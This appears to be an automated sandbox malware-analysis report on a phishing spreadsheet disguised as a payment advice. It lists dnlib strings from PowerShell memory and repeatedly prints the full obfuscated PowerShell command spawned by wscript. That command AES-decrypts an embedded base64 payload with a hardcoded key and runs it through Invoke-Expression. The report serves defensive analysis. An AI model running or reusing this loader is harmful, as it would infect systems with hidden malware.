Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetFieldProps source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineParam source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeleteToken source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetClassLayout source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineNestedType source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumUnresolvedMethods source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumPermissionSets source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Managed source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetRVA source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetModuleFromScope source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMethodImpl source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefinePinvokeMap source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineSecurityAttributeSet source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetClassLayout source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineMemberRef source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPermissionSetProps source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetTypeDefProps source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineProperty source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldRVA source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindTypeDefByName source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetModuleProps source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumFieldsWithName source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMemberRefs source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.ResolveTypeRef source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SaveToStream source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMethodSemantics source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetTypeDefProps source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.FindMethod source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetNestedClassProps source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DeletePinvokeMap source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetTokenFromTypeSpec source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetMethodImplFlags source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPinvokeMap source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPinvokeMap source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumSignatures source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldMarshal source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumUserStrings source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetRVA source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefinePermissionSet source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetMethodProps source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPropertyProps source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetUserString source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetInterfaceImplProps source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetFieldMarshal source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineTypeDef source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeDefs source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineImportMember source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumInterfaceImpls source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMemberProps source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineImportType source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetTokenFromSig source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: System.Collections.Generic.IEnumerable<dnlib.DotNet.Pdb.PdbScope>.GetEnumerator source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumEvents source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetParamForMethodIndex source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineField source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodsWithName source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.IsGlobal source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetEventProps source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: H:\New Private Panell Src 3.0 New\New Private Panell Src 3.0 2025\New Private Panell Src 3.0\dnlib-fuscator-master win7\src\obj\Debug\dnlib.pdb source: powershell.exe, 00000009.00000002.447875101.00000000034F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.451782581.00000000061C0000.00000004.08000000.00040000.00000000.sdmp

Source: ~DFB88BC22996138750.TMP.0.dr

Initial sample: OLE indicators vbamacros = False

Source: #U00d6DEME TAVS#U0130YES#U0130.xls

Initial sample: OLE indicators encrypted = True

Data Obfuscation

Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI53245645968011423739588623973337CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIIfj5tD9O95CJERD65QS8cgd6mKhDFXu5KnhuNUHV8eN0Bizzo6XYsPUOr/naNJ9+K8DnwkvsZljh8/jDtCBlcE7JwBlipBYNS69FMVrYo8riAT/OCm+86aVfem+jS7xh93ssL6airSk1E4+mG3y/ys93bKWl7qe/OiIfd0sR1FM9xZhEYuwuHy/AU8FfHXTeSMPl/YzZJ+ERHVh+bArXV063XruUdd/cZK/At2Cd+nbGZfGFDj29bcydLi2HTao5Px2joIFcvB02gojNaG2SWau3s/c6HFNqHbJGGUvRutXMletl29tNTCgqa0tUwol3eukX7WxBG0I6W0I89mN4k+5nR4K2AK8APbfVOX2Kvv5Tano47cej4QtGlf3mt0SPlqwZ9JReU64MQQKkvdzo84oqAoQ+HKZ5+76sSvuVPLVPNwT4waP3/VLkFCFvdaX6peTauqLmO7Enf3jzdxLsVBi7+NpZvpR8FLnBqiZzlImiogkvR17bPAS5CpYJnW/spi74gNlfkH3Qds0UlhmZe/la2ja5Mjup7w5KWxVsHB7OS7tLShSyN7PC/qbynVi6PhL80r558jq+Epf/Jw5jd2cMqIeQ4mv2U7EHxT/brTG1G9P22Aeim3ofkuv8Q/SbtoTP/20JvRjQ8WJRpM/rpy0QrrdKIDxmHOj8D6rmtRQVNLhZ+QU80DQhyY621X7HrHP/CHEzyeyQZWYMrUUzD7owZM8RgeUNb1tZcnVUx5eYVO7nU46ipcNFuuOEq7bDkKPW3S8iF+x6isuilkSnxQGLGoiQ/3UQx1KT5knk+IGE6RsunZht35yevyQ39siNJMcED7UWj/p5RW4pseMzZxQl/ER7KgeB/ga2lAverkwIuezrF3ODu4Fwu5pnQAqjKIbiK2WSd3HqQ6ElDbZDPlYJnIiorFFgTexsUy6Oe4ME8KrjwDHFPmrWUYgSixHjBrs984Mgz6L5vb7M2/1oZiU1cR0qRdZy3k3VSR+EnkjMt7QgpSt+TbAem6N1XrXX9yzuPZHT3jK7lS4aHtIloD1MMXWuIFungQbKc9KeITySZskxIxzuGSwplqK0ziNU0ELPRdi1QwF3PH5FGpGbNrOTsh2BXgal6KV70rLlImHCB/8N7+Zv4j3XQUvj7YpMsgavK4CpP2Kc0q2QBsv7EQwDeKTCM8Lho0uj59AXofd0v7Z0vxAotnN5Mo4LmIYSm7KuWnX/7BetKCLQsfM4MXEXF6te/5nneOgTKpDRxwFFl4mVtKv5tMtOpWM/IW/h9086XNQd1JCqFrA3dwaQ9H6+RTfGXHWBLLV/H2MbX+G3rK+Am8FjxJeLV3vZ/qwk0O2aTk8NsmzYZcdfcOP03B9h/iEr7Se0SP/S6mlR/0wuzt7CmAPKp/CNPz0fC/0tV0xJ8NlgvvQQvk1Zz/ZXQQ==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cReP
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI53245645968011423739588623973337CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIIfj5tD9O95CJERD65QS8cgd6mKhDFXu5KnhuNUHV8eN0Bizzo6XYsPUOr/naNJ9+K8DnwkvsZljh8/jDtCBlcE7JwBlipBYNS69FMVrYo8riAT/OCm+86aVfem+jS7xh93ssL6airSk1E4+mG3y/ys93bKWl7qe/OiIfd0sR1FM9xZhEYuwuHy/AU8FfHXTeSMPl/YzZJ+ERHVh+bArXV063XruUdd/cZK/At2Cd+nbGZfGFDj29bcydLi2HTao5Px2joIFcvB02gojNaG2SWau3s/c6HFNqHbJGGUvRutXMletl29tNTCgqa0tUwol3eukX7WxBG0I6W0I89mN4k+5nR4K2AK8APbfVOX2Kvv5Tano47cej4QtGlf3mt0SPlqwZ9JReU64MQQKkvdzo84oqAoQ+HKZ5+76sSvuVPLVPNwT4waP3/VLkFCFvdaX6peTauqLmO7Enf3jzdxLsVBi7+NpZvpR8FLnBqiZzlImiogkvR17bPAS5CpYJnW/spi74gNlfkH3Qds0UlhmZe/la2ja5Mjup7w5KWxVsHB7OS7tLShSyN7PC/qbynVi6PhL80r558jq+Epf/Jw5jd2cMqIeQ4mv2U7EHxT/brTG1G9P22Aeim3ofkuv8Q/SbtoTP/20JvRjQ8WJRpM/rpy0QrrdKIDxmHOj8D6rmtRQVNLhZ+QU80DQhyY621X7HrHP/CHEzyeyQZWYMrUUzD7owZM8RgeUNb1tZcnVUx5eYVO7nU46ipcNFuuOEq7bDkKPW3S8iF+x6isuilkSnxQGLGoiQ/3UQx1KT5knk+IGE6RsunZht35yevyQ39siNJMcED7UWj/p5RW4pseMzZxQl/ER7KgeB/ga2lAverkwIuezrF3ODu4Fwu5pnQAqjKIbiK2WSd3HqQ6ElDbZDPlYJnIiorFFgTexsUy6Oe4ME8KrjwDHFPmrWUYgSixHjBrs984Mgz6L5vb7M2/1oZiU1cR0qRdZy3k3VSR+EnkjMt7QgpSt+TbAem6N1XrXX9yzuPZHT3jK7lS4aHtIloD1MMXWuIFungQbKc9KeITySZskxIxzuGSwplqK0ziNU0ELPRdi1QwF3PH5FGpGbNrOTsh2BXgal6KV70rLlImHCB/8N7+Zv4j3XQUvj7YpMsgavK4CpP2Kc0q2QBsv7EQwDeKTCM8Lho0uj59AXofd0v7Z0vxAotnN5Mo4LmIYSm7KuWnX/7BetKCLQsfM4MXEXF6te/5nneOgTKpDRxwFFl4mVtKv5tMtOpWM/IW/h9086XNQd1JCqFrA3dwaQ9H6+RTfGXHWBLLV/H2MbX+G3rK+Am8FjxJeLV3vZ/qwk0O2aTk8NsmzYZcdfcOP03B9h/iEr7Se0SP/S6mlR/0wuzt7CmAPKp/CNPz0fC/0tV0xJ8NlgvvQQvk1Zz/ZXQQ==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cReP			Jump to behavior

Suspicious powershell command line found

Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI53245645968011423739588623973337CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = 